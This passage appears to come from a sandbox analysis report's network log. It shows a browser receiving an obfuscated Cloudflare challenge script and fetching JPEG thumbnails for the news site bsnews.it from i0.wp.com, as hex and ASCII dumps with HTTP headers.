7b 66 6f 72 28 61 35 3d 61 30 2c 47 3d 5b 5d 2c 48 3d 34 2c 49 3d 34 2c 4a 3d 33 2c 4b Data Ascii: {N[a2(193)](F(O));break}else P++;return N[a2(213)]('')},'j':function(D,a3){return a3=a0,D==null?'':''==D?null:f.i(D[a3(220)],32768,function(E,a4){return a4=a3,D[a4(188)](E)})},'i':function(D,E,F,a5,G,H,I,J,K,L,M,N,O,P,Q,R,T,S){for(a5=a0,G=[],H=4,I=4,J=3,K
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 2c 6f 3d 6e 2c 67 5b 56 28 31 34 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 2c 45 2c 46 2c 61 61 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 29 7b 69 66 28 61 61 3d 56 2c 6e 75 6c 6c 3d 3d 3d 44 7c 7c 44 3d 3d 3d 76 6f 69 64 20 30 29 72 65 74 75 72 6e 20 46 3b 66 6f 72 28 48 3d 78 28 44 29 2c 43 5b 61 61 28 32 31 39 29 5d 5b 61 61 28 31 34 33 29 5d 26 26 28 48 3d 48 5b 61 61 28 31 38 30 29 5d 28 43 5b 61 61 28 32 31 39 29 5d 5b 61 61 28 31 34 33 29 5d 28 44 29 29 29 2c 48 3d 43 5b 61 61 28 32 30 33 29 5d 5b 61 61 28 31 36 37 29 5d 26 26 43 5b 61 61 28 32 30 35 29 5d 3f 43 5b 61 61 28 32 30 33 29 5d 5b 61 61 28 31 36 37 29 5d 28 6e 65 77 20 43 5b 28 61 61 28 32 30 35 29 29 5d 28 48 29 29 3a 66 75 6e 63 74 69 6f 6e 28 4e 2c 61 62 2c 4f 29 7b 66 6f 72 28 61 62 Data Ascii: ,o=n,g[V(147)]=function(C,D,E,F,aa,H,I,J,K,L,M){if(aa=V,null===D\|\|D===void 0)return F;for(H=x(D),C[aa(219)][aa(143)]&&(H=H[aa(180)](C[aa(219)][aa(143)](D))),H=C[aa(203)][aa(167)]&&C[aa(205)]?C[aa(203)][aa(167)](new C[(aa(205))](H)):function(N,ab,O){for(ab
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 29 7b 72 65 74 75 72 6e 20 66 3d 66 2d 31 33 35 2c 68 3d 65 5b 66 5d 2c 68 7d 2c 62 28 63 2c 64 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 66 2c 43 2c 5a 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 29 7b 69 66 28 5a 3d 56 2c 21 69 28 2e 30 31 29 29 72 65 74 75 72 6e 21 5b 5d 3b 44 3d 5b 5a 28 31 34 38 29 2b 66 2c 5a 28 31 36 39 29 2b 4a 53 4f 4e 5b 5a 28 31 34 32 29 5d 28 43 29 5d 5b 5a 28 32 31 33 29 5d 28 5a 28 32 30 39 29 29 3b 74 72 79 7b 69 66 28 45 3d 67 5b 5a 28 31 36 36 29 5d 2c 46 3d 5a 28 32 32 39 29 2b 67 5b 5a 28 31 38 34 29 5d 5b 5a 28 32 30 38 29 5d 2b 5a 28 31 35 34 29 2b 31 2b 5a 28 31 37 39 29 2b 45 2e 72 2b 5a 28 32 32 37 29 2c 47 3d 6e 65 77 20 67 5b 28 5a 28 31 36 35 29 29 5d 28 29 2c 21 47 Data Ascii: ,b=function(f,g,h){return f=f-135,h=e[f],h},b(c,d)}function l(f,C,Z,D,E,F,G,H,I,J){if(Z=V,!i(.01))return![];D=[Z(148)+f,Z(169)+JSON[Z(142)](C)][Z(213)](Z(209));try{if(E=g[Z(166)],F=Z(229)+g[Z(184)][Z(208)]+Z(154)+1+Z(179)+E.r+Z(227),G=new g[(Z(165))](),!G
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 2c 69 66 72 61 6d 65 2c 73 79 6d 62 6f 6c 2c 43 6f 6e 74 65 6e 74 2d 74 79 70 65 2c 5f 63 66 5f 63 68 6c 5f 6f 70 74 3b 75 42 4b 63 54 54 35 3b 6e 73 75 63 66 61 34 3b 6b 58 44 54 58 72 35 3b 43 55 58 56 53 38 3b 58 4d 49 69 4b 65 37 3b 54 56 56 71 7a 41 39 3b 55 62 61 53 76 39 3b 51 6b 57 78 49 37 3b 73 57 47 67 6e 32 3b 68 74 6c 73 68 38 3b 50 4d 4a 78 30 3b 4e 79 48 73 73 4c 31 3b 5a 48 6f 53 66 32 3b 51 78 74 49 76 47 31 3b 5a 5a 6d 75 36 2c 74 61 62 49 6e 64 65 78 2c 41 72 72 61 79 2c 31 33 33 39 37 34 36 33 4a 71 56 6f 75 64 2c 53 65 74 2c 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 2c 63 68 61 72 41 74 2c 63 46 50 57 76 2c 20 2d 20 2c 73 70 6c 69 63 65 2c 74 6f 53 74 72 69 6e 67 2c 64 2e 63 6f 6f 6b 69 65 2c 6a 6f 69 6e 2c 73 74 72 69 6e 67 2c Data Ascii: ,iframe,symbol,Content-type,_cf_chl_opt;uBKcTT5;nsucfa4;kXDTXr5;CUXVS8;XMIiKe7;TVVqzA9;UbaSv9;QkWxI7;sWGgn2;htlsh8;PMJx0;NyHssL1;ZHoSf2;QxtIvG1;ZZmu6,tabIndex,Array,13397463JqVoud,Set,application/json,charAt,cFPWv, - ,splice,toString,d.cookie,join,string,
2024-03-28 08:51:09 UTC	300	IN	Data Raw: 28 29 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 43 2c 44 2c 61 37 2c 45 29 7b 61 37 3d 56 3b 74 72 79 7b 72 65 74 75 72 6e 20 43 5b 44 5d 5b 61 37 28 31 33 36 29 5d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 2c 27 70 27 7d 63 61 74 63 68 28 46 29 7b 7d 74 72 79 7b 69 66 28 6e 75 6c 6c 3d 3d 43 5b 44 5d 29 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 43 5b 44 5d 3f 27 75 27 3a 27 78 27 7d 63 61 74 63 68 28 47 29 7b 72 65 74 75 72 6e 27 69 27 7d 72 65 74 75 72 6e 20 65 5b 61 37 28 32 30 33 29 5d 5b 61 37 28 32 31 35 29 5d 28 43 5b 44 5d 29 3f 27 61 27 3a 43 5b 44 5d 3d 3d 3d 65 5b 61 37 28 32 30 33 29 5d 3f 27 44 27 3a 21 30 3d 3d 3d 43 5b 44 5d 3f 27 54 27 3a 21 31 3d 3d 3d 43 5b 44 5d 3f 27 46 27 3a 28 45 3d 74 79 70 65 6f 66 20 43 5b 44 5d 2c Data Ascii: ())})}function v(e,C,D,a7,E){a7=V;try{return C[D][a7(136)](function(){}),'p'}catch(F){}try{if(null==C[D])return void 0===C[D]?'u':'x'}catch(G){return'i'}return e[a7(203)][a7(215)](C[D])?'a':C[D]===e[a7(203)]?'D':!0===C[D]?'T':!1===C[D]?'F':(E=typeof C[D],
2024-03-28 08:51:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	49888	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:09 UTC	402	OUT	GET /bsnews.it/wp-content/uploads/2017/04/musil.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:09 UTC	584	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:09 GMT Content-Type: image/jpeg Content-Length: 12704 Connection: close Last-Modified: Wed, 27 Mar 2024 17:16:31 GMT Expires: Sat, 28 Mar 2026 05:16:31 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2017/04/musil.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "8845054772edc900" X-Bytes-Saved: 991 Vary: Accept X-nc: HIT dca 5 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:09 UTC	785	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 04 03 01 00 00 00 00 00 00 00 00 00 00 00 00 04 05 06 07 01 02 03 08 ff c4 00 17 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 83 ce e1 d6 7f 2e 93 c6 09 Data Ascii: JFIFCCD".
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: b6 92 a8 93 c3 f2 96 bb d5 22 6b 3e 84 eb e6 47 4d 67 d0 e5 35 36 49 79 5a 3e a5 5f 46 d9 15 be f2 18 2a e0 ab ed 6a bf 97 55 56 24 2a 71 2e 0e fb 63 69 45 b8 1a d9 65 fb 59 0f cc c7 24 49 c1 fc 56 3d 1f b5 86 1d 1f f5 a6 01 fc 23 99 7e 4a 9c 36 e4 9e 97 6c cc 91 25 b8 84 27 a9 f1 5c 26 4b 29 3d 74 59 33 e1 13 cd 49 1d a0 a5 8f 8e 11 2c 22 b6 35 f8 b9 6c 1c 4a 9c 42 24 31 8c e9 73 a3 6b 8a ad d1 3e 92 a9 e3 8e 22 f5 71 ee 49 20 d2 3b 82 4f de 22 12 cd 62 b9 24 09 9a 0a 5c 9f 88 80 14 67 19 30 64 0c 64 00 c8 00 60 03 06 70 00 18 d7 6d 50 00 dd 03 86 44 bb 28 00 05 00 00 c9 83 21 83 21 83 21 a9 b0 6b 8d f5 31 9c 06 4c 00 00 64 00 00 00 00 00 0c 19 c0 6b b6 a8 00 7f ff c4 00 32 10 00 01 04 02 00 04 04 05 03 03 05 00 00 00 00 00 04 01 02 03 05 00 06 11 12 13 Data Ascii: "k>GMg56IyZ>_FjUV$q.ciEeY$IV=#~J6l%'\&K)=tY3I,"5lJB$1sk>"qI ;O"b$\g0dd`pmPD(!!!k1Ldk2
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: cd 32 b1 19 cd 15 73 53 b6 e1 9c b8 d6 e2 b7 e0 91 3d dc 9e ce c6 fd d5 f2 55 f7 85 7e 36 a2 70 e0 dc 19 d2 c1 30 1b 1d 90 f8 36 d6 3b b0 6b fa c9 72 33 84 7a 77 43 e7 74 3e 77 43 e7 74 3e 77 43 e7 8d 07 b2 59 fc 91 70 af 62 e3 e0 b1 35 13 82 22 62 b5 33 97 11 32 c5 11 46 7e 47 f4 c1 fe d5 72 7f b7 54 e1 8b 8c 5f 77 7d b7 fd 57 e8 ec 6f de c5 4c e1 f1 40 9f ab f4 6a 67 ba 62 2a f1 4e 3c b8 92 4c 8f 86 d6 c6 3c 1b 60 4e 5c 86 d4 79 6c 73 c5 0f fb ff 00 2e 83 f0 d6 f0 b1 84 7e 71 db 0b b9 7a 2f ce 8c 99 d1 93 3a 52 64 e2 49 24 6b 4b 26 36 96 44 cf 46 93 19 57 2b 50 51 65 8a 37 41 2a e7 6f 2e 20 f3 71 51 88 e5 51 a7 c5 82 6c 70 f3 63 60 97 a8 91 bb 3a 4b 9d 15 c8 a2 e5 7a a2 70 46 f0 ce 5c e1 8e 92 16 e3 8c 11 b8 e3 01 45 75 80 69 8b 67 16 2e d7 67 89 6e 6b Data Ascii: 2sS=U~6p06;kr3zwCt>wCt>wCYpb5"b32F~GrT_w}WoL@jgbN<L<`N\yls.~qz/:RdI$kK&6DFW+PQe7Ao. qQQlpc`:KzpF\Euig.gnk
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: b2 7b 2c b9 b7 db ec 70 6d 3f 5c a9 71 10 e7 30 b4 cc ae f9 7f bb 1a 8a 95 b3 5b 0f 00 7c e0 68 d6 14 d0 fa 25 33 e1 e4 51 78 c7 22 74 ad b2 36 cd e3 63 ba fc 6c 38 9f 0a 91 57 09 68 15 c1 69 07 13 a7 5d 60 fd 2b 38 4e 2a 22 67 6e 1a d3 cd b4 0c 91 38 ce c4 f1 b7 52 d6 6c 0e ce 47 71 99 c3 03 bb d7 a8 a9 30 78 15 b3 2e 27 3c 4a 80 e4 4a c3 a3 62 19 36 2c 4d c1 e2 6f fe f4 8b 34 f2 6d 24 8b 31 87 86 83 9d 43 86 c7 e1 0c 6a 22 ce ae cd 7c c3 85 06 c3 e1 d4 61 f1 16 da dc 70 61 d5 5e c1 38 da 89 37 91 9c 5e fc ad e5 59 a3 4b 13 a5 ba 85 67 43 71 ea 97 e4 3f 87 ac 77 fa d7 0b e9 02 5e 1e 0b 27 34 a1 24 6c 19 5b 81 1f 5e 22 9d ec c5 73 56 2a 3c 62 05 d9 39 57 63 af 58 e3 e7 58 8f 47 48 c8 d1 46 df 43 d5 90 5f cf 41 58 b1 82 29 28 6d 1e ec 0e 5a 6c 82 22 b3 30 Data Ascii: {,pm?\q0[\|h%3Qx"t6cl8Whi]`+8N"gn8RlGq0x.'<JJb6,Mo4m$1Cj"\|apa^87^YKgCq?w^'4$l[^"sV<b9WcXXGHFC_AX)(mZl"0
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: b8 40 eb 35 0e 0f 0f 2a 34 50 ae da 45 1c ac 7a e8 22 44 cb 13 33 11 73 d0 a8 63 7c 33 5a 6e 8b db a5 59 31 30 1d e5 5d 99 5e 89 d3 8d 34 b8 24 8f 10 91 81 9f 66 09 11 9f 1a 87 d1 38 88 8a cb a8 5d 39 0e bf 53 7a 52 77 cf 37 05 ea 03 d5 2f c8 7d 63 bf d7 a5 41 dc df e9 3f 5d 8e c4 5f 43 31 55 ee 1a 7e 5e a8 9e 55 ba a9 cc 54 9e 5c 49 ad 2b 02 c2 e6 ef 94 f9 1a 0a 80 c6 d2 da c7 5e 3d dd 7c eb 63 88 08 d0 c5 f4 68 cd d2 65 a6 8c a0 ca fc 47 5d 4d 8d cc 4a aa ee 04 1a af 7f 5d 62 04 b0 30 86 78 86 f3 72 70 6b 62 cc 1d 8f 48 81 a5 4d 89 c0 e0 c3 be 22 ea e7 fe 98 b6 a6 a1 4c c6 11 0b 0d a2 31 fe d1 ce e6 8c 0f 8c 80 4f 01 fe ab 26 d0 02 bd 95 87 8f 1b 8b 0d 7d 51 a3 de 0a d6 b7 95 36 1e 69 63 9a 33 a8 65 8b 5b d6 d2 2c 23 99 3a c2 0a dd c2 bf 8b 56 98 55 1f Data Ascii: @5*4PEz"D3sc\|3ZnY10]^4$f8]9SzRw7/}cA?]_C1U~^UT\I+^=\|cheG]MJ]b0xrpkbHM"L1O&}Q6ic3e[,#:VU
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: a1 8d a0 6e d3 9f 85 be 8e a2 18 23 2d e7 4b be f7 e3 83 7d ea 0b 72 3d 5e b3 5a 2b 72 f2 66 0f 6d a4 67 18 ef 47 9d d1 ff 00 48 4f 20 81 d3 81 d5 81 5a e0 50 6d 5a eb 7c c1 a2 10 db 19 c3 d1 4f cc a1 a4 f2 52 d9 5e ba 2f ca 2c 53 cf 5c d3 27 55 67 cf a4 a5 2a b9 1b 4e ee 58 e5 03 90 5b 07 ab af 99 87 08 ca c0 c9 d4 ee f4 b8 bc a8 b1 1c 57 16 4e 62 fe c8 68 eb a6 b9 b6 5d 72 74 2a ef 9e 1e 12 94 88 20 02 67 0d 2e 66 20 8f a2 e7 e5 89 92 da d4 66 26 18 7d 61 5a ad 5f 26 81 87 39 5f 48 c8 94 af e2 83 b2 44 be e3 4f 87 db f5 4a 33 d3 fa 89 4c 9d 7f 1e 07 ab da 0d 20 f1 ae d3 cd c5 9f 33 a9 03 5f 5b ec 4f e7 00 85 01 78 b4 fd 44 18 f1 30 b8 3c df 18 7a 39 41 74 ea 7a 93 6c bb b2 2d 05 c6 bc a8 a9 a5 60 b0 04 b4 0e ff 00 2d 45 21 19 0c ab aa e1 d3 b6 e5 7f bc Data Ascii: n#-K}r=^Z+rfmgGHO ZPmZ\|OR^/,S\'UgNX[WNbh]rt g.f f&}aZ_&9_HDOJ3L 3_[OxD0<z9Atzl-`-E!
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 0c bc d0 19 8c 2e fb ac 6a 10 f1 f8 64 cd ac bc ab 00 c1 f5 85 5f 58 de 62 05 07 47 8c c8 fb 41 1c cb 7b cb 0d d9 91 34 e7 d6 63 d8 79 3d 2e 5a 01 15 a7 67 fe cc 4e 5a 66 37 28 be 8f 7f 69 45 d6 8c 05 19 f7 8d b2 67 ca 27 29 88 5a d0 5a b3 65 30 81 76 84 f7 3e 4f e2 a7 e8 43 ca ef f1 f3 f1 b3 f1 86 96 a9 b7 96 a3 b6 60 c2 5e 64 8f 8b 37 16 fa 4f b4 d5 bf a9 82 19 5e 8d 7e e5 c9 e7 ab f7 19 bd 72 b7 0c 28 3a 30 c7 b2 33 fa 64 62 56 eb 4c d6 25 c2 ba b6 b8 cc b8 29 5c dc db 19 88 bb 50 6b 32 be d7 ea 20 1c 71 17 2f 9f ed 3e 2f ef 3e a9 c4 7c 08 18 7e 9a 87 da 7e 20 fc 33 20 4d 08 cd da e4 8b d6 a1 c6 a0 06 b8 e9 30 ab 50 b0 a1 d8 78 7a 4a 21 f7 6a 0f ea 07 b3 e8 87 fc 96 e2 3c e9 f6 99 f6 99 f6 99 f6 99 f6 98 09 8b e7 57 fa 3d de 34 93 17 be f7 78 00 14 55 Data Ascii: .jd_XbGA{4cy=.ZgNZf7(iEg')ZZe0v>OC`^d7O^~r(:03dbVL%)\Pk2 q/>/>\|~~ 3 M0PxzJ!j<W=4xU
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: b1 2b 89 b3 d9 65 14 51 1b a1 3f ae 2b f6 25 f6 41 24 09 ce 0a 5c 12 12 7e 8c 89 21 9f 03 e4 45 e4 4e 17 f9 3f ff c4 00 29 10 01 01 00 02 02 01 02 05 05 01 01 01 00 00 00 00 01 11 00 21 31 41 51 61 91 10 71 81 a1 f0 30 b1 c1 d1 f1 e1 20 40 ff da 00 08 01 01 00 01 3f 10 44 0d 14 9e 32 29 7b a8 31 f7 35 60 db 84 36 49 3b a6 f7 89 60 6a 29 09 ef a5 57 85 75 8d 93 49 06 a4 5d 9b 02 bc 30 aa d9 83 7e b5 1c 7c 49 e7 39 47 1c c0 ba 10 4d 18 70 dc 0c 1d 81 d6 90 06 c5 10 db 98 f5 c8 41 b1 50 e8 7b d1 1a bf 2c 55 d4 75 d8 d9 01 40 36 68 b7 18 b0 c3 e0 db c1 23 d3 86 82 f7 1c 4c d0 72 44 fa 60 cb 60 c1 87 b9 14 a6 4c b6 64 50 0a ea c1 61 62 d3 53 2c 2c a9 5d 2a 79 b4 0d ba 7a de 3a 34 9f 01 cf 1f fd 7b a8 6e ba 24 6b 6b 3c b6 17 66 05 f4 cf f0 2b f0 18 ef 6d 4c 10 Data Ascii: +eQ?+%A$\~!EN?)!1AQaq0 @?D2){15`6I;`j)WuI]0~\|I9GMpAP{,Uu@6h#LrD``LdPabS,,]*yz:4{n$kk<f+mL
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 8b 0b ce 2a 03 04 c4 0b d5 58 5d d3 03 c8 b0 45 a0 58 0a bc 80 35 c2 dc 00 06 42 ea d6 d7 2d 5e f2 df ce 89 67 28 a2 03 d7 be f0 94 22 22 01 a2 e8 4d 2c 8b de 1d 48 80 45 40 5b 40 d6 b7 79 c5 82 c2 f0 ee 93 a8 d0 26 fa cd 70 64 89 40 77 4b a1 bd 73 ac 26 54 c7 83 70 ce 22 f4 99 00 30 18 f3 64 20 5b ad 46 7e 23 cf 06 1f 4c 5d 50 bc 9f 53 18 c6 0f 7d 49 ff 00 31 01 5f f4 c6 e2 34 35 89 a7 01 4d bb 9f 3f ef 0c 47 66 8e cf d6 74 8f da ec 9b 9e a0 3f 4f 81 33 20 ba c2 63 28 20 ee 2b c1 97 eb 23 49 b8 0d c3 b6 ce 8c 21 af 1d 70 3a 42 8f 97 79 ba 4e c3 96 92 99 43 6b 6a 65 99 ed ab b7 b0 10 dd 5a 77 30 1c 38 91 80 93 66 e9 4d 96 99 32 1c c9 64 15 58 51 28 06 b2 29 c8 b3 bd 23 83 42 d6 1b 86 52 4b 39 c4 a0 12 20 41 39 75 92 1b cb 53 34 a3 b4 28 f0 f1 15 c7 01 3e Data Ascii: *X]EX5B-^g(""M,HE@[@y&pd@wKs&Tp"0d [F~#L]PS}I1_45M?Gft?O3 c( +#I!p:ByNCkjeZw08fM2dXQ()#BRK9 A9uS4(>
2024-03-28 08:51:09 UTC	967	IN	Data Raw: ef 11 b9 10 5f e2 08 dc a9 df 33 0a e3 39 df bd fd 9c 8a 7f dd f8 3f 76 7a 9a 68 7e d9 fe 1f f4 cf f0 ff 00 a6 7f 87 fd 33 fc 3f e9 9f e1 ff 00 4c b8 73 c7 4a 53 d6 7c 72 80 3a 38 cd ec 84 21 17 26 35 2c 5a 8d 11 d9 eb f4 c9 57 c6 24 e3 ac b3 46 72 66 0e eb 0a c0 30 25 89 51 f7 30 cc 1f 85 c6 09 0d a9 bf 96 12 f0 62 3c 83 af 5c 90 00 fe 16 1a 5f 85 c3 0e 1c b1 a0 bf 0f 0d 24 38 64 55 f3 9e 0f c2 e0 c3 89 03 4f e6 31 d9 3f 1b 9a bc e7 27 7f c3 80 7d 4f d9 c8 97 c9 80 08 f0 73 71 a2 e4 00 e9 d6 08 dd b4 bf 5c 5a 67 56 67 5a cb 7f 02 38 17 5c 99 1d eb f2 1f 34 fd b0 c7 48 0b 3e de 07 ca b8 46 78 14 b8 c7 f1 02 f6 1a 54 6a 6b ff 00 08 dd b8 c1 b5 f8 3e 98 ee 84 95 d4 db 35 03 07 21 4b e6 2b 89 33 60 f2 3a c8 6f ee b1 6f 3f 76 3c 45 7c f5 8f 4f d5 ff 00 9c aa Data Ascii: _39?vzh~3?LsJS\|r:8!&5,ZW$Frf0%Q0b<\_$8dUO1?'}Osq\ZgVgZ8\4H>FxTjk>5!K+3`:oo?v<E\|O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	49889	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:09 UTC	406	OUT	GET /bsnews.it/wp-content/uploads/2022/01/bsnews8-3.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:09 UTC	588	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:09 GMT Content-Type: image/jpeg Content-Length: 12265 Connection: close Last-Modified: Tue, 26 Mar 2024 13:56:49 GMT Expires: Fri, 27 Mar 2026 01:56:49 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2022/01/bsnews8-3.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "eae73964db5e26c2" X-Bytes-Saved: 552 Vary: Accept X-nc: HIT dca 4 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:09 UTC	781	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 04 01 02 03 05 06 00 07 08 ff c4 00 1a 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 c0 aa 77 37 d0 bb Data Ascii: JFIFC%# , #&')*)-0-(0%()(C(((((((((((((((((((((((((((((((((((((((((((((((((((D"w7
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 3b b8 0d 22 ad 66 ef 4d cd cc 2d 05 13 0c 1d 60 b7 20 b9 bc a5 f4 cf 37 2e 14 e4 54 f7 32 07 09 a7 a8 f5 e3 3e 5b 39 21 f9 4d 6f b9 79 e2 7e 66 be 85 5d 66 35 2d 43 62 dd 54 e8 61 e3 0f 17 ae 7d 46 f2 a8 8c fb 8a cd 68 a3 5a 10 a0 ab 8a ab d8 88 55 e2 ef 09 35 f3 ce 40 b8 53 74 5c 1c b7 cc 1d 49 69 62 b4 ac b1 21 c4 3c b1 61 68 8c dc 13 26 ee 49 8b b3 3f 65 b2 59 f9 59 be 8d 34 af 2f 17 d7 a3 6b c6 44 f6 af 10 74 c9 e7 dd c6 98 8a bd ee 3a a2 07 1c 3a 79 39 0e 1b 48 58 cd 8d 50 88 72 08 25 3a 30 22 e6 8e ea 2f 29 dc dd 72 72 2b 81 3a 4e 0b ca f8 0b 9d 67 d1 53 59 48 6a ca b3 50 65 8d cc 5e 48 43 0a 6a 4f 4e f3 8f 45 8d 33 de a3 4c 7b cf 11 9d d4 c4 ca eb 5a 9a a6 6d 30 82 34 7b 0f 4d f9 fa 78 7e f3 e3 c3 c5 72 6e 97 1f 69 96 9a ba ab 2c 0e b0 da 13 d8 d0 Data Ascii: ;"fM-` 7.T2>[9!Moy~f]f5-CbTa}FhZU5@St\Iib!<ah&I?eYY4/kDt::y9HXPr%:0"/)rr+:NgSYHjPe^HCjONE3L{Zm04{Mx~rni,
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: ba 3d 97 c0 f9 5d c2 ae 9c ce 9d 51 f2 0c 40 47 29 8b c3 f2 f4 df 8b 8d f6 59 88 c9 3a ec 8c 74 81 d8 c6 3c 37 1b 8a 6d 91 0b 4b ae 55 05 ab 63 cf 4e 5c 8a e6 50 b0 f0 be a9 e5 b1 b7 41 ac 90 19 e5 6b d4 11 97 cb 72 3e 86 1a 7e 3d 44 3c b9 2a 72 16 cf 0e 5d 85 a2 fc 24 36 ed 77 20 e8 9e b3 03 ab 7e 4c 03 f8 bb 07 6d 59 a1 3d 73 c3 db 10 fc 19 27 18 4c 8f 32 38 7c d1 ab 52 6c 7f 46 84 51 01 4a 28 e5 6d 09 87 4b 1c 20 e9 63 b8 41 5b 1f 1b ed c7 55 f1 91 df cf 65 6d 6d 37 ba 89 8a 69 14 59 6b d1 a1 9c b4 a0 ce 70 9b 31 97 37 c3 3f 89 f2 af 8e 9e 68 db 84 7a 8b 07 a2 30 73 6c e2 2e b5 3a ae 42 34 ef a9 6a e6 ed 75 dc 54 73 48 d4 6e ce a7 3f 8a 9b 39 3b 2a ee 45 05 ef 1e a0 7b 64 3d d0 7a 34 a3 a9 14 a2 6a 8c 89 91 b7 91 8e 23 31 fb 7b 50 a0 c5 f4 31 a9 ea c4 Data Ascii: =]Q@G)Y:t<7mKUcN\PAkr>~=D<r]$6w ~LmY=s'L28\|RlFQJ(mK cA[Uemm7iYkp17?hz0sl.:B4juTsHn?9;E{d=z4j#1{P1
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: e3 70 99 a8 fb 5c 65 c5 e2 28 93 e8 8b e8 b2 d6 63 1b ec 51 a2 4b 74 e8 db c2 7f 08 fc ce e1 32 84 6a 3e 88 9b 8d c2 ec 97 c2 2a 90 88 bf 72 f8 33 4f e6 7f ff c4 00 3c 10 00 01 03 01 04 07 05 06 05 03 05 01 00 00 00 00 01 00 02 03 11 12 21 31 41 04 10 13 22 51 61 71 20 23 32 81 91 14 33 40 42 62 72 30 52 92 a1 b1 05 15 82 24 34 43 53 d1 63 ff da 00 08 01 01 00 06 3f 02 f8 3a 6a 69 d7 07 55 13 3c d5 75 c6 1e 6b 64 53 b3 67 8a 9d d6 7b b7 8c 50 2d 34 75 32 46 db bd 56 2b 1a f4 55 ad 3e 1c b0 a7 03 92 69 6e 0c bc a6 bf 22 3b 20 9b 93 41 cd 6f 61 d5 1d a1 0e 23 2a a0 f8 c5 1a 